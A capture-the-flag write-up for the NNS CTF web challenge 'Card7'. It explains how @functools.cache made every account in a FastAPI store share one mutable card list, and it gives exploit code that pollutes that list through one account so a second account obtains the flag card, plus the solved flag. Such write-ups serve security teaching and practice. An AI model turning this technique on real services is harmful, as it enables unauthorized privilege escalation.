2025 NNS CTF - Card7
Challenge Overview
Challenge Name: Card7
Difficulty: Medium
Card7 is a web application that simulates an online card trading store where users can:
- View and purchase virtual cards using in-game currency
- Test cards for 5 seconds before buying them
- Access a special flag endpoint if they own the expensive "FLAG" card
Architecture
- Backend: Python FastAPI server
- Frontend: Vanilla JavaScript SPA
- Cards Available:
- EPT_SOCK ($50)
- EPT_STICKER ($100)
- FLAG ($100,000) - The target card
- Starting Balance: $100
Initial Analysis
Understanding the Application Flow
- Account Creation: Users start with $100 and one EPT_SOCK card
- Card Testing: Users can test any card for 5 seconds via
/cards/{card_id}/test - Card Purchasing: Users can buy cards via
/cards/{card_id}/buyif they have sufficient funds - Flag Access: The
/flagendpoint requires owning the FLAG card and not being in test mode
First Hypothesis: Race Condition
The combination of a test mode and temporarily "owning" of a card seems to point in the direction of exploiting some kind of race condition. Also because there is given insufficient funds and no obvious way of getting more on the site.
Assumed vulnerable Python FastAPI would then be this section:
@app.post("/cards/{card_id}/test")
async def test_card(card_id: CardId, token: auth_security):
account = ACCOUNTS[token]
if account.is_testing_card:
return JSONResponse({"detail": "already testing something else"}, status_code=400)
if card_id in account.cards:
return JSONResponse({"detail": "you already own this"}, status_code=400)
account.is_testing_card = True
account.cards.append(card_id) # Card added immediately
async def revoke_test_card():
await asyncio.sleep(5)
account.cards.remove(card_id) # Removed after 5 seconds
account.is_testing_card = False
asyncio.create_task(revoke_test_card())There might be a timing window where it's possible to buy the card while testing.
However, this fails because:
- The buy endpoint checks
if card_id in account.cardsand rejects iftrue - The async task properly removes the card and resets the testing flag
The Breakthrough: Shared State Discovery
Observing Anomalous Behavior
While testing multiple accounts, I noticed something strange:
# First account after testing ept_sticker
Account 1: Cards=['ept_sock', 'ept_sticker'], Testing=True
# Fresh second account (should only have ept_sock)
Account 2: Cards=['ept_sock', 'ept_sticker'], Testing=False # Inherited cards!New accounts were inheriting cards they never bought or tested!
The vulnerability lies in the create_default_cards() function:
@functools.cache
def create_default_cards() -> list[CardId]:
return [
CardId.EPT_SOCK
]
class Account(BaseModel):
cards: typing.Annotated[list[CardId], Field(default_factory=create_default_cards)]
is_testing_card: bool = False
balance: int = 100@functools.cache makes the function return the same list object every time it's called, rather than creating a new list. This means all accounts share the same mutable list object for their cards.
How the vulnerability works
- Shared Object Creation: All accounts reference the same list object:
[CardId.EPT_SOCK] - State Pollution: When Account A tests a card, it modifies the shared list:
[CardId.EPT_SOCK, CardId.FLAG] - Persistence: The pollution persists until server restart
- Inheritance: All new accounts inherit the modified shared state
- Exploitation: New accounts get expensive cards without the testing restrictions
Exploitation
Step 1: Local Environment Setup
# Create virtual environment and install dependencies
python3 -m venv venv
source venv/bin/activate
pip install fastapi uvicorn websockets pydantic requests
# Start local server for testing
FLAG="CTF{local_test}" uvicorn card7:app --host 0.0.0.0 --port 9999Step 2: Vulnerability Confirmation
def test_shared_state():
# Create first account and test FLAG card
token1 = create_account()
test_card(token1, "flag") # Pollutes shared state
# Create second account
token2 = create_account()
account2 = get_account_info(token2)
# Second account inherits the FLAG card!
assert "flag" in account2["cards"]
assert not account2["is_testing_card"] # Not in testing modeStep 3: Live Site Authentication Discovery
The live site used different authentication than the local version:
# Local version expects: Authorization: Bearer <token>
# Live site expects: token: <token>
auth_methods = [
{"Authorization": f"Bearer {token}"}, # 403 Not authenticated
{"Authorization": f"Token {token}"}, # 403 Not authenticated
{"token": token} # 200 Success
]Step 4: Final Exploitation
def exploit_live_site():
# Account 1: Pollute shared state
token1 = create_account()
test_card(token1, "flag", headers={"token": token1})
# Account 2: Inherit polluted state
token2 = create_account()
account2 = get_account_info(token2, headers={"token": token2})
# Verify inheritance
assert "flag" in account2["cards"] # Has FLAG card
assert not account2["is_testing_card"] # Not testing
# Get the flag
flag_response = get_flag(token2, headers={"token": token2})
return flag_response.text # "NNS{totally_not_stolen_f0b96496d9bb}"Conclusion
This challenge demonstrates how seemingly innocent optimizations (like caching) can introduce serious security vulnerabilities. The @functools.cache decorator created a shared mutable state that allowed privilege escalation through account inheritance.
Flag: NNS{totally_not_stolen_f0b96496d9bb}